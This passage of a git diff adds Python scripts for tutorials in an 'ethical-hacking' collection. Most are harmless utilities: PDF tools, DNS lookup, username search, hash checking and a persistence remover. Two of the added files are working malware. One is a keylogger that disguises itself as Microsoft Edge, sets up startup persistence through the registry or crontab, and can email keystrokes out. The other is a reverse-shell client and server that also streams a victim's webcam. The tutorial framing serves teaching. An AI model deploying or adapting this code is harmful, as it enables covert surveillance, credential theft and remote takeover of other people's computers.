the password to lock the PDF: ") + +# Lock the PDF using PyPDF2 +print(f'{Fore.GREEN}[!] Please hold on for a few seconds..') +lock_pdf(input_pdf, password) + +# Let the user know it's done +print(f"{Fore.GREEN}[+] PDF locked successfully.") diff --git a/ethical-hacking/pdf-locker/requirements.txt b/ethical-hacking/pdf-locker/requirements.txt new file mode 100644 index 00000000..d2ff42de --- /dev/null +++ b/ethical-hacking/pdf-locker/requirements.txt @@ -0,0 +1,2 @@ +PyPDF2 +colorama \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/README.md b/ethical-hacking/pdf-metadata-remover/README.md new file mode 100644 index 00000000..2eba5916 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/README.md @@ -0,0 +1 @@ +# [How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python) \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py new file mode 100644 index 00000000..dd801d59 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/remove_pdf_metadata.py @@ -0,0 +1,33 @@ +import PyPDF2 + +def remove_metadata(pdf_file): + # Open the PDF file. + with open(pdf_file, 'rb') as file: + reader = PyPDF2.PdfReader(file) + + # Check if metadata exists. + if reader.metadata is not None: + print("Metadata found in the PDF file.") + + # Create a new PDF file without metadata. + writer = PyPDF2.PdfWriter() + + # Copy pages from the original PDF to the new PDF. + for page_num in range(len(reader.pages)): + page = reader.pages[page_num] + writer.add_page(page) + + # Open a new file to write the PDF without metadata. + new_pdf_file = f"{pdf_file.split('.')[0]}_no_metadata.pdf" + with open(new_pdf_file, 'wb') as output_file: + writer.write(output_file) + + print(f"PDF file without metadata saved as '{new_pdf_file}'.") + else: + print("No metadata found in the PDF file.") + +# Specify the path to your PDF file. +pdf_file_path = "EEE415PQ.pdf" + +# Call the function to remove metadata. +remove_metadata(pdf_file_path) \ No newline at end of file diff --git a/ethical-hacking/pdf-metadata-remover/requirements.txt b/ethical-hacking/pdf-metadata-remover/requirements.txt new file mode 100644 index 00000000..77e8be78 --- /dev/null +++ b/ethical-hacking/pdf-metadata-remover/requirements.txt @@ -0,0 +1 @@ +PyPDF2==3.0.1 \ No newline at end of file diff --git a/ethical-hacking/persistent-malware/README.md b/ethical-hacking/persistent-malware/README.md new file mode 100644 index 00000000..8df17579 --- /dev/null +++ b/ethical-hacking/persistent-malware/README.md @@ -0,0 +1 @@ +# [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python) \ No newline at end of file diff --git a/ethical-hacking/persistent-malware/keylogger_persistent.py b/ethical-hacking/persistent-malware/keylogger_persistent.py new file mode 100644 index 00000000..1ec8c2f4 --- /dev/null +++ b/ethical-hacking/persistent-malware/keylogger_persistent.py @@ -0,0 +1,137 @@ +import keyboard # for keylogs +import smtplib # for sending email using SMTP protocol (gmail) +from threading import Timer +from datetime import datetime +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +import os, shutil, subprocess, platform, sys +from sys import executable + +SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on +EMAIL_ADDRESS = "email@provider.tld" +EMAIL_PASSWORD = "password_here" + +def setup_persistence(): + """This function sets up persistence (runs automatically at startup) of this executable. + On Linux, it uses crontab to create a cron job that runs this script at reboot. + On Windows, it uses the Windows Registry to add a key that runs this script at startup. + Note that this will only work if the script is bundled as an executable using PyInstaller on Windows. + On Linux, it will work with the script itself or the executable.""" + os_type = platform.system() + if os_type == "Windows": + location = os.environ['appdata'] + "\\MicrosoftEdgeLauncher.exe" # Disguise the keylogger as Microsoft Edge + if not os.path.exists(location): + shutil.copyfile(executable, location) + subprocess.call(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdge /t REG_SZ /d "{location}" ', shell=True) + elif os_type == "Linux": + location = os.path.expanduser('~') + "/.config/KaliStartup" + if not os.path.exists(location): + # Create the autostart directory if it doesn't exist + os.makedirs(location) + filename = os.path.join(location, "KaliStartup") + # Copy the keylogger to that new location + shutil.copyfile(sys.executable, filename) + # Add the keylogger to startup via crontab + crontab_line = f"@reboot {filename}" + os.system(f'(crontab -l; echo "{crontab_line}") | crontab -') + +# Run the setup_persistence function +setup_persistence() + +class Keylogger: + def __init__(self, interval, report_method="email"): + """Initialize the keylogger with the specified interval for sending reports and the method of reporting.""" + self.interval = interval + self.report_method = report_method + self.log = "" + self.start_dt = datetime.now() + self.end_dt = datetime.now() + + def callback(self, event): + """Handle a keyboard event by logging the keystroke.""" + name = event.name + if len(name) > 1: + if name == "space": + name = " " + elif name == "enter": + name = "[ENTER]\n" + elif name == "decimal": + name = "." + else: + name = name.replace(" ", "_") + name = f"[{name.upper()}]" + self.log += name + + def update_filename(self): + """Update the filename for the log file based on the current date and time.""" + start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "") + end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "") + self.filename = f"keylog-{start_dt_str}_{end_dt_str}" + + def report_to_file(self): + """This method creates a log file in the specified directory that contains + the current keylogs in the `self.log` variable""" + os_type = platform.system() + if os_type == "Windows": + log_dir = os.path.join(os.environ['USERPROFILE'], 'Documents', 'KeyloggerLogs') + elif os_type == "Linux": + log_dir = os.path.join(os.path.expanduser("~"), 'Documents', 'KeyloggerLogs') + # create a directory for the logs + if not os.path.exists(log_dir): + os.makedirs(log_dir) + log_file = os.path.join(log_dir, f"{self.filename}.txt") + # write the logs to a file + with open(log_file, "w") as f: + print(self.log, file=f) + print(f"[+] Saved {log_file}") + + def prepare_mail(self, message): + """Prepare an email message with both text and HTML versions.""" + msg = MIMEMultipart("alternative") + msg["From"] = EMAIL_ADDRESS + msg["To"] = EMAIL_ADDRESS + msg["Subject"] = "Keylogger logs" + html = f"

{message}

" + text_part = MIMEText(message, "plain") + html_part = MIMEText(html, "html") + msg.attach(text_part) + msg.attach(html_part) + return msg.as_string() + + def sendmail(self, email, password, message, verbose=1): + """Send an email using SMTP with the logged keystrokes.""" + server = smtplib.SMTP(host="smtp.office365.com", port=587) + server.starttls() + server.login(email, password) + server.sendmail(email, email, self.prepare_mail(message)) + server.quit() + if verbose: + print(f"{datetime.now()} - Sent an email to {email} containing: {message}") + + def report(self): + """Report the captured keystrokes either by email or by saving to a file.""" + if self.log: + self.end_dt = datetime.now() + self.update_filename() + if self.report_method == "email": + self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log) + elif self.report_method == "file": + self.report_to_file() + self.start_dt = datetime.now() + self.log = "" + timer = Timer(interval=self.interval, function=self.report) + timer.daemon = True + timer.start() + + def start(self): + """Start the keylogger.""" + self.start_dt = datetime.now() + keyboard.on_release(callback=self.callback) + self.report() + print(f"{datetime.now()} - Started keylogger") + keyboard.wait() + + +if __name__ == "__main__": + keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file") + keylogger.start() diff --git a/ethical-hacking/persistent-malware/requirements.txt b/ethical-hacking/persistent-malware/requirements.txt new file mode 100644 index 00000000..c2539834 --- /dev/null +++ b/ethical-hacking/persistent-malware/requirements.txt @@ -0,0 +1 @@ +keyboard diff --git a/ethical-hacking/phone-number-tracker/README.md b/ethical-hacking/phone-number-tracker/README.md new file mode 100644 index 00000000..7a5b80e2 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/README.md @@ -0,0 +1 @@ +# [How to Make a Phone Number Tracker in Python](https://thepythoncode.com/article/phone-number-tracker-in-python) \ No newline at end of file diff --git a/ethical-hacking/phone-number-tracker/phone_number_tracker.py b/ethical-hacking/phone-number-tracker/phone_number_tracker.py new file mode 100644 index 00000000..acd1b6e3 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/phone_number_tracker.py @@ -0,0 +1,149 @@ +import phonenumbers, sys, folium, os, argparse +from colorama import init, Fore +from phonenumbers import geocoder, timezone, carrier +init() + + +def process_number(number): + try: + global location + + # Parse the phone number. See this as extracting relevant information from the Phone number. + parsed_number = phonenumbers.parse(number) + + '''Display a message indicating the tracking attempt. We'll also format the parsed number to the + international format.''' + + print(f"{Fore.GREEN}[+] Attempting to track location of " + f"{phonenumbers.format_number(parsed_number, phonenumbers.PhoneNumberFormat.INTERNATIONAL)}..") + + # Get and display the time zone ID + print(f"{Fore.GREEN}[+] Time Zone ID: {timezone.time_zones_for_number(parsed_number)}") + + # Get the geographic location of the Phone number and display it. + location = geocoder.description_for_number(parsed_number, "en") + if location: + print(f"{Fore.GREEN}[+] Region: {location}") + else: + print(f"{Fore.RED}[-] Region: Unknown") + + '''Get the service provider (carrier) and display it if available. Some businesses and + organizations do not use public service providers. So you may not see the carrier in that case.''' + + if carrier.name_for_number(parsed_number, 'en'): + print(f"{Fore.GREEN}[+] Service Provider: {carrier.name_for_number(parsed_number, 'en')}") + else: + pass + + # Handle exceptions, such as invalid phone numbers or connectivity issues. + except Exception: + print(f"{Fore.RED}[-] Please specify a valid phone number (with country code)" + " or check your internet connection.") + sys.exit() + +def get_approx_coordinates(): + # Import the OpenCageGeocode class from the opencage.geocoder module + from opencage.geocoder import OpenCageGeocode + + global coder, latitude, longitude + + # Try to execute the following block, and handle exceptions if they occur. + try: + # Create an instance of the OpenCageGeocode class with your API key. + coder = OpenCageGeocode("42c84373c47e490ba410d4132ae64fc4") + + query = location + + # Perform a geocoding query to obtain results. + results = coder.geocode(query) + + # Extract latitude and longitude from the geocoding results. These are the coordinates of the number's location. + latitude = results[0]['geometry']['lat'] + longitude = results[0]['geometry']['lng'] + + # Print the obtained latitude and longitude. + print(f"[+] Latitude: {latitude}, Longitude: {longitude}") + + # Perform a reverse geocoding query to obtain an address based on coordinates. + address = coder.reverse_geocode(latitude, longitude) + + # Check if an address was found. + if address: + address = address[0]['formatted'] + print(f"{Fore.LIGHTRED_EX}[+] Approximate Location is {address}") + else: + # If no address was found, print an error message. + print(f"{Fore.RED}[-] No address found for the given coordinates.") + except Exception: + '''Handle exceptions by printing an error message and exiting the script. This would prevent the program from + crashing''' + + print(f"{Fore.RED}[-] Could not get the location of this number. Please specify a valid phone number or " + "check your internet connection.") + sys.exit() + +# This function basically removes unwanted characters from the Phone number such as white spaces. +def clean_phone_number(phone_number): + cleaned = ''.join(char for part in phone_number for char in part if char.isdigit() or char == '+') + return cleaned or "unknown" + +# Function to see Aerial view of the person's location. +def draw_map(): + try: + # Create a Folium map centered around the latitude and longitude of the number's coordinates. + my_map = folium.Map(location=[latitude, longitude], zoom_start=9) + + # Add a marker to the map at the specified latitude and longitude with a popup displaying the 'location' variable. + folium.Marker([latitude, longitude], popup=location).add_to(my_map) + + ''' Clean the phone number and use it to generate a file name with an '.html' extension + we'll basically save each map with the number of the owner for easy identification.''' + + cleaned_phone_number = clean_phone_number(args.phone_number) # We'll see 'args' soon. + file_name = f"{cleaned_phone_number}.html" + + # Save the map as an HTML file with the generated file name. + my_map.save(file_name) + + # Print a message indicating where the saved HTML file can be found. + print(f"[+] See Aerial Coverage at: {os.path.abspath(file_name)}") + + # Handle the 'NameError' exception, which can occur if the 'latitude' or 'longitude' variables are not defined. + except NameError: + print(f"{Fore.RED}[-] Could not get Aerial coverage for this number. Please check the number again.") + + +# Function to handle command-line arguments. +def cli_argument(): + # Create an ArgumentParser object and specify a description. + parser = argparse.ArgumentParser(description="Get approximate location of a Phone number.") + + # Define a command-line argument: -p or --phone. This is to receive the user's number from terminal. + parser.add_argument("-p", "--phone", dest="phone_number", type=str, + help="Phone number to track. Please include the country code when specifying the number.", + required=True, nargs="+") + + # Parse the command-line arguments. + argument = parser.parse_args() + + # Check if the 'phone_number' argument is not provided. + if not argument.phone_number: + # Print an error message indicating that the phone number is required. + print(f"{Fore.RED}[-] Please specify the phone number to track (including country code)." + " Use --help to see usage.") + + # Exit the script. + sys.exit() + + # Return the parsed command-line arguments. + return argument + +# Parse command-line arguments using the 'cli_argument' function. +args = cli_argument() + +# Call the process_number function and pass the phone number as a single string. +process_number("".join(args.phone_number)) +get_approx_coordinates() +draw_map() + + diff --git a/ethical-hacking/phone-number-tracker/requirements.txt b/ethical-hacking/phone-number-tracker/requirements.txt new file mode 100644 index 00000000..b1598993 --- /dev/null +++ b/ethical-hacking/phone-number-tracker/requirements.txt @@ -0,0 +1,4 @@ +phonenumbers +folium +colorama +opencage \ No newline at end of file diff --git a/ethical-hacking/remove-persistent-malware/README.md b/ethical-hacking/remove-persistent-malware/README.md new file mode 100644 index 00000000..6145b698 --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/README.md @@ -0,0 +1 @@ +# [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python) \ No newline at end of file diff --git a/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py new file mode 100644 index 00000000..88ba4f7e --- /dev/null +++ b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py @@ -0,0 +1,118 @@ +import os +import platform +import subprocess +import tempfile + +# Windows-specific imports +if platform.system() == "Windows": + import winreg + +# Get Windows start-up entries and display +def list_windows_startup_entries(): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run") + entries = [] + try: + i = 0 + while True: + entry_name, entry_value, entry_type = winreg.EnumValue(key, i) + entries.append((i + 1, entry_name, entry_value)) + i += 1 + except OSError: + pass + winreg.CloseKey(key) + return entries + +# Remove Windows start-up entries +def remove_windows_startup_entry(index, entries): + key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE) + try: + entry_name, entry_value = entries[index - 1][1], entries[index - 1][2] + winreg.DeleteValue(key, entry_name) + print(f"[+] Entry {entry_name} has been removed successfully.") + + if os.path.isfile(entry_value): + os.remove(entry_value) + print(f"[+] File '{entry_value}' has been deleted successfully.") + else: + print(f"[-] File '{entry_value}' not found or unable to delete.") + except IndexError: + print("[-] Invalid entry index.") + except OSError as e: + print(f"[-] Error removing entry: {e}") + finally: + winreg.CloseKey(key) + +# Get the cron tab entries +def list_linux_crontab_entries(): + try: + output = subprocess.check_output(["crontab", "-l"], stderr=subprocess.STDOUT).decode('utf-8').strip() + if output: + entries = output.split("\n") + return [(i + 1, entry) for i, entry in enumerate(entries)] + else: + return [] + except subprocess.CalledProcessError as e: + if "no crontab" in e.output.decode('utf-8'): + return [] + else: + raise + +def remove_linux_crontab_entry(index, entries): + try: + entry = entries[index - 1][1] + all_entries = [e[1] for e in entries if e[1] != entry] + + with tempfile.NamedTemporaryFile(delete=False) as tmp_file: + tmp_file.write("\n".join(all_entries).encode('utf-8')) + tmp_file.write(b"\n") + tmp_file_path = tmp_file.name + + subprocess.check_output(["crontab", tmp_file_path], stderr=subprocess.STDOUT) + os.unlink(tmp_file_path) + print(f"[+] Entry '{entry}' has been removed successfully.") + except IndexError: + print("[-] Invalid entry index.") + except Exception as e: + print(f"[-] Error removing crontab entry: {e}") + +def main(): + os_name = platform.system() + if os_name == "Windows": + entries = list_windows_startup_entries() + if not entries: + print("[-] No startup entries found.") + else: + print("[+] Startup entries:") + for index, name, value in entries: + print(f"{index}. {name}: {value}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_windows_startup_entry(choice, entries) + else: + print("[-] Invalid choice.") + elif os_name == "Linux": + entries = list_linux_crontab_entries() + if not entries: + print("[-] No crontab entries found.") + else: + print("[+] Crontab entries:") + for index, entry in entries: + print(f"{index}. {entry}") + + print("\n") + choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): ")) + if choice == 0: + return + elif 0 < choice <= len(entries): + remove_linux_crontab_entry(choice, entries) + else: + print("[-] Invalid choice.") + else: + print(f"[-] Unsupported operating system: {os_name}") + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/reverse-dns-lookup/README.md b/ethical-hacking/reverse-dns-lookup/README.md new file mode 100644 index 00000000..e2aa69a3 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/README.md @@ -0,0 +1 @@ +# [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python) \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/requirements.txt b/ethical-hacking/reverse-dns-lookup/requirements.txt new file mode 100644 index 00000000..663bd1f6 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/requirements.txt @@ -0,0 +1 @@ +requests \ No newline at end of file diff --git a/ethical-hacking/reverse-dns-lookup/reverse_lookup.py b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py new file mode 100644 index 00000000..449f79d0 --- /dev/null +++ b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py @@ -0,0 +1,69 @@ +# Import the necessary libraries +import argparse +import ipaddress +import socket +import requests + +API_KEY = "Your-Api-Key-Here" # Replace with your ViewDNS API key + +# Function to Check if IP address is valid. +def is_valid_ip(ip): + + try: + ipaddress.ip_address(ip) + return True + except ValueError: + return False + + +# Perform reverse look up. +def reverse_lookup(ip): + try: + domain = socket.gethostbyaddr(ip)[0] + return domain + except socket.herror: + return None + + +# Get websites on same server. +def get_websites_on_server(ip): + url = f"https://api.viewdns.info/reverseip/?host={ip}&apikey={API_KEY}&output=json" + response = requests.get(url) + if response.status_code == 200: + data = response.json() + if "response" in data and "domains" in data["response"]: + websites = data["response"]["domains"] + return websites + return [] + + +# Get user arguments and execute. +def main(): + parser = argparse.ArgumentParser(description="Perform IP reverse lookup.") + parser.add_argument("ips", nargs="+", help="IP address(es) to perform reverse lookup on.") + parser.add_argument("--all", "-a", action="https://github.com/store_true", help="Print all other websites on the same server.") + args = parser.parse_args() + + for ip in args.ips: + if not is_valid_ip(ip): + print(f"[-] Invalid IP address: {ip}") + continue + + domain = reverse_lookup(ip) + if domain: + print(f"[+] IP: {ip}, Domain: {domain}") + if args.all: + websites = get_websites_on_server(ip) + if websites: + print("\nOther websites on the same server:") + for website in websites: + print(f"[+] {website}") + print('\n') + else: + print("[-] No other websites found on the same server.") + else: + print(f"[-] No domain found for IP: {ip}") + + +if __name__ == "__main__": + main() diff --git a/ethical-hacking/spyware/README.md b/ethical-hacking/spyware/README.md new file mode 100644 index 00000000..9c2520c9 --- /dev/null +++ b/ethical-hacking/spyware/README.md @@ -0,0 +1 @@ +# [How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python) \ No newline at end of file diff --git a/ethical-hacking/spyware/client.py b/ethical-hacking/spyware/client.py new file mode 100644 index 00000000..d36eca07 --- /dev/null +++ b/ethical-hacking/spyware/client.py @@ -0,0 +1,64 @@ +import socket # For network (client-server) communication. +import os # For handling os executions. +import subprocess # For executing system commands. +import cv2 # For recording the video. +import threading # For recording the video in a different thread. +import platform # We use this to get the os of the target (client). + +SERVER_HOST = "127.0.0.1" # Server's IP address +SERVER_PORT = 4000 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages, you can adjust this. + +# Separator string for sending 2 messages at a time. +SEPARATOR = "" + +# Create the socket object. +s = socket.socket() +# Connect to the server. +s.connect((SERVER_HOST, SERVER_PORT)) + +# Get the current directory and os and send it to the server. +cwd = os.getcwd() +targets_os = platform.system() +s.send(cwd.encode()) +s.send(targets_os.encode()) + +# Function to record and send the video. +def record_video(): + global cap + cap = cv2.VideoCapture(0) + while True: + ret, frame = cap.read() + if not ret: + break + _, frame_bytes = cv2.imencode('.jpg', frame) + frame_size = len(frame_bytes) + s.sendall(frame_size.to_bytes(4, byteorder='little')) + s.sendall(frame_bytes) + cap.release() + cv2.destroyAllWindows() + +while True: + # receive the command from the server. + command = s.recv(BUFFER_SIZE).decode() + splited_command = command.split() + if command.lower() == "exit": + # if the command is exit, just break out of the loop. + break + elif command.lower() == "start": + # Start recording video in a separate thread + recording_thread = threading.Thread(target=record_video) + recording_thread.start() + output = "Video recording started." + print(output) + else: + # execute the command and retrieve the results. + output = subprocess.getoutput(command) + # get the current working directory as output. + cwd = os.getcwd() + # send the results back to the server. + message = f"{output}{SEPARATOR}{cwd}" + s.send(message.encode()) + +# close client connection. +s.close() \ No newline at end of file diff --git a/ethical-hacking/spyware/requirements.txt b/ethical-hacking/spyware/requirements.txt new file mode 100644 index 00000000..fc4586c8 --- /dev/null +++ b/ethical-hacking/spyware/requirements.txt @@ -0,0 +1,2 @@ +numpy +opencv-python \ No newline at end of file diff --git a/ethical-hacking/spyware/server_side.py b/ethical-hacking/spyware/server_side.py new file mode 100644 index 00000000..219e2319 --- /dev/null +++ b/ethical-hacking/spyware/server_side.py @@ -0,0 +1,115 @@ +import socket # For network (client-server) communication. +import cv2 # For video recording. +import signal # For handling the ctrl+c command when exiting the program. +import threading # For running the video recording in a seperate thread. +import numpy as np # For working with video frames. + + +# SERVER_HOST = "0.0.0.0" # Bind the server to all available network interfaces. +# or if you want to test it locally, use 127.0.0.1 +SERVER_HOST = "127.0.0.1" +SERVER_PORT = 4000 +BUFFER_SIZE = 1024 * 128 # 128KB max size of messages. You can adjust this to your taste + +# Separator string for sending 2 messages at a time +SEPARATOR = "" + +# Create the socket object. +s = socket.socket() +# Bind the socket to all IP addresses of this host. +s.bind((SERVER_HOST, SERVER_PORT)) +# Make the PORT reusable +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +# Set maximum number of queued connections to 5. +s.listen(5) +print(f"Listening as {SERVER_HOST} on port {SERVER_PORT} ...") + +# Accept any connections attempted. +client_socket, client_address = s.accept() +print(f"{client_address[0]}:{client_address[1]} Connected!") + +# Receive the current working directory and os of the target (client). +cwd = client_socket.recv(BUFFER_SIZE).decode() +targets_os = client_socket.recv(BUFFER_SIZE).decode() + +# Print the info received. +print("[+] Current working directory: ", cwd) +print("[+] Target's Operating system: ", targets_os) + +# Set up the video capture and writer. +cap = None +out = None +recording_thread = None + +# Function to handle Ctrl+C signal. +def signal_handler(sig, frame): + print('Saving video and exiting...') + if recording_thread is not None: + recording_thread.join() + if cap is not None and out is not None: + cap.release() + out.release() + cv2.destroyAllWindows() + client_socket.close() + s.close() + exit(0) + +# Set up the signal handler. +signal.signal(signal.SIGINT, signal_handler) + +# Function to record and display the video. +def record_video(): + global out + fourcc = cv2.VideoWriter_fourcc(*'mp4v') + out = cv2.VideoWriter('output.mp4', fourcc, 30.0, (640, 480)) + while True: + # Receive the frame size. + frame_size = int.from_bytes(client_socket.recv(4), byteorder='little') + # Receive the frame data. + frame_data = b'' + while len(frame_data) < frame_size: + packet = client_socket.recv(min(BUFFER_SIZE, frame_size - len(frame_data))) + if not packet: + break + frame_data += packet + if not frame_data: + break + # Decode the frame. + frame = cv2.imdecode(np.frombuffer(frame_data, dtype=np.uint8), cv2.IMREAD_COLOR) + # Write the frame to the video file. + out.write(frame) + # Display the frame. + cv2.imshow('Remote Camera Feed', frame) + if cv2.waitKey(1) & 0xFF == ord('q'): + break + out.release() + client_socket.close() + cv2.destroyAllWindows() +while True: + # Get the command from the user. + command = input(f"{cwd} $> ") + if not command.strip(): + # Empty command. + continue + # Send the command to the client. + client_socket.send(command.encode()) + if command.lower() == "exit": + # If the command is exit, just break out of the loop. + break + elif command.lower() == "start": + # Start recording video in a separate thread. + recording_thread = threading.Thread(target=record_video) + recording_thread.start() + output = "Video recording started." + print(output) + else: + # Receive the results from the client. + output = client_socket.recv(BUFFER_SIZE).decode() + results, cwd = output.split(SEPARATOR) + print(results) + +# Close the connection to the client and server. +if recording_thread is not None: + recording_thread.join() +client_socket.close() +s.close() \ No newline at end of file diff --git a/ethical-hacking/username-finder/README.md b/ethical-hacking/username-finder/README.md new file mode 100644 index 00000000..8b0ad5a5 --- /dev/null +++ b/ethical-hacking/username-finder/README.md @@ -0,0 +1 @@ +# [How to Build a Username Search Tool in Python](https://thepythoncode.com/code/social-media-username-finder-in-python) \ No newline at end of file diff --git a/ethical-hacking/username-finder/requirements.txt b/ethical-hacking/username-finder/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/username-finder/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/username-finder/username_finder.py b/ethical-hacking/username-finder/username_finder.py new file mode 100644 index 00000000..8b34f39a --- /dev/null +++ b/ethical-hacking/username-finder/username_finder.py @@ -0,0 +1,108 @@ +# Import necessary libraries +import requests # For making HTTP requests +import argparse # For parsing command line arguments +import concurrent.futures # For concurrent execution +from collections import OrderedDict # For maintaining order of websites +from colorama import init, Fore # For colored terminal output +import time # For handling time-related tasks +import random # For generating random numbers + +# Initialize colorama for colored output. +init() + +# Ordered dictionary of websites to check for a given username. +WEBSITES = OrderedDict([ + ("Instagram", "https://www.instagram.com/%7B%7D"), + ("Facebook", "https://www.facebook.com/%7B%7D"), + ("YouTube", "https://www.youtube.com/user/%7B%7D"), + ("Reddit", "https://www.reddit.com/user/%7B%7D"), + ("GitHub", "https://github.com/%7B%7D"), + ("Twitch", "https://www.twitch.tv/%7B%7D"), + ("Pinterest", "https://www.pinterest.com/%7B%7D/"), + ("TikTok", "https://www.tiktok.com/@%7B%7D"), + ("Flickr", "https://www.flickr.com/photos/%7B%7D") +]) + +REQUEST_DELAY = 2 # Delay in seconds between requests to the same website +MAX_RETRIES = 3 # Maximum number of retries for a failed request +last_request_times = {} # Dictionary to track the last request time for each website + +def check_username(website, username): + """ + Check if the username exists on the given website. + Returns the full URL if the username exists, False otherwise. + """ + url = website.format(username) # Format the URL with the given username + retries = 0 # Initialize retry counter + + # Retry loop + while retries < MAX_RETRIES: + try: + # Implement rate limiting. + current_time = time.time() + if website in last_request_times and current_time - last_request_times[website] < REQUEST_DELAY: + delay = REQUEST_DELAY - (current_time - last_request_times[website]) + time.sleep(delay) # Sleep to maintain the request delay. + + response = requests.get(url) # Make the HTTP request + last_request_times[website] = time.time() # Update the last request time. + + if response.status_code == 200: # Check if the request was successful. + return url + else: + return False + except requests.exceptions.RequestException: + retries += 1 # Increment retry counter on exception. + delay = random.uniform(1, 3) # Random delay between retries. + time.sleep(delay) # Sleep for the delay period. + + return False # Return False if all retries failed. + +def main(): + # Parse command line arguments. + parser = argparse.ArgumentParser(description="Check if a username exists on various websites.") + parser.add_argument("username", help="The username to check.") + parser.add_argument("-o", "--output", help="Path to save the results to a file.") + args = parser.parse_args() + + username = args.username # Username to check. + output_file = args.output # Output file path. + + print(f"Checking for username: {username}") + + results = OrderedDict() # Dictionary to store results. + + # Use ThreadPoolExecutor for concurrent execution. + with concurrent.futures.ThreadPoolExecutor() as executor: + # Submit tasks to the executor. + futures = {executor.submit(check_username, website, username): website_name for website_name, website in WEBSITES.items()} + for future in concurrent.futures.as_completed(futures): + website_name = futures[future] # Get the website name. + try: + result = future.result() # Get the result. + except Exception as exc: + print(f"{website_name} generated an exception: {exc}") + result = False + finally: + results[website_name] = result # Store the result. + + # Print the results. + print("\nResults:") + for website, result in results.items(): + if result: + print(f"{Fore.GREEN}{website}: Found ({result})") + else: + print(f"{Fore.RED}{website}: Not Found") + + # Save results to a file if specified. + if output_file: + with open(output_file, "w") as f: + for website, result in results.items(): + if result: + f.write(f"{website}: Found ({result})\n") + else: + f.write(f"{website}: Not Found\n") + print(f"{Fore.GREEN}\nResults saved to {output_file}") + +# Call the main function +main() diff --git a/ethical-hacking/verify-file-integrity/README.md b/ethical-hacking/verify-file-integrity/README.md new file mode 100644 index 00000000..4d7e313b --- /dev/null +++ b/ethical-hacking/verify-file-integrity/README.md @@ -0,0 +1 @@ +# [How to Verify File Integrity in Python](https://thepythoncode.com/article/verify-downloaded-files-with-checksum-in-python) \ No newline at end of file diff --git a/ethical-hacking/verify-file-integrity/file_integrity_verifier.py b/ethical-hacking/verify-file-integrity/file_integrity_verifier.py new file mode 100644 index 00000000..0c9e31bc --- /dev/null +++ b/ethical-hacking/verify-file-integrity/file_integrity_verifier.py @@ -0,0 +1,63 @@ +# Import necessary libraries. +import argparse, hashlib, sys + +# Import functions init and Fore from the colorama library. +from colorama import init, Fore + +# Initialize colorama to enable colored terminal text. +init() + +# Define a function to calculate the SHA-256 hash of a file. +def calculate_hash(file_path): + # Create a SHA-256 hash object. + sha256_hash = hashlib.sha256() + + # Open the file in binary mode for reading (rb). + with open(file_path, "rb") as file: + # Read the file in 64KB chunks to efficiently handle large files. + while True: + data = file.read(65536) # Read the file in 64KB chunks. + if not data: + break + # Update the hash object with the data read from the file. + sha256_hash.update(data) + + # Return the hexadecimal representation of the calculated hash. + return sha256_hash.hexdigest() + + +# Define a function to verify the calculated hash against an expected hash. +def verify_hash(downloaded_file, expected_hash): + # Calculate the hash of the downloaded file. + calculated_hash = calculate_hash(downloaded_file) + + # Compare the calculated hash with the expected hash and return the result. + return calculated_hash == expected_hash + + +# Create a parser for handling command-line arguments. +parser = argparse.ArgumentParser(description="Verify the hash of a downloaded software file.") + +# Define two command-line arguments: +# -f or --file: Path to the downloaded software file (required). +# --hash: Expected hash value (required). +parser.add_argument("-f", "--file", dest="downloaded_file", required=True, help="Path to the downloaded software file") +parser.add_argument("--hash", dest="expected_hash", required=True, help="Expected hash value") + +# Parse the command-line arguments provided when running the script. +args = parser.parse_args() + +# Check if the required command-line arguments were provided. +if not args.downloaded_file or not args.expected_hash: + # Print an error message in red using 'colorama'. + print(f"{Fore.RED}[-] Please Specify the file to validate and its Hash.") + # Exit the script. + sys.exit() + +# Check if the hash of the file is accurate by calling the verify_hash function. +if verify_hash(args.downloaded_file, args.expected_hash): + # If the hash is accurate, print a success message in green. + print(f"{Fore.GREEN}[+] Hash verification successful. The software is authentic.") +else: + # If the hash does not 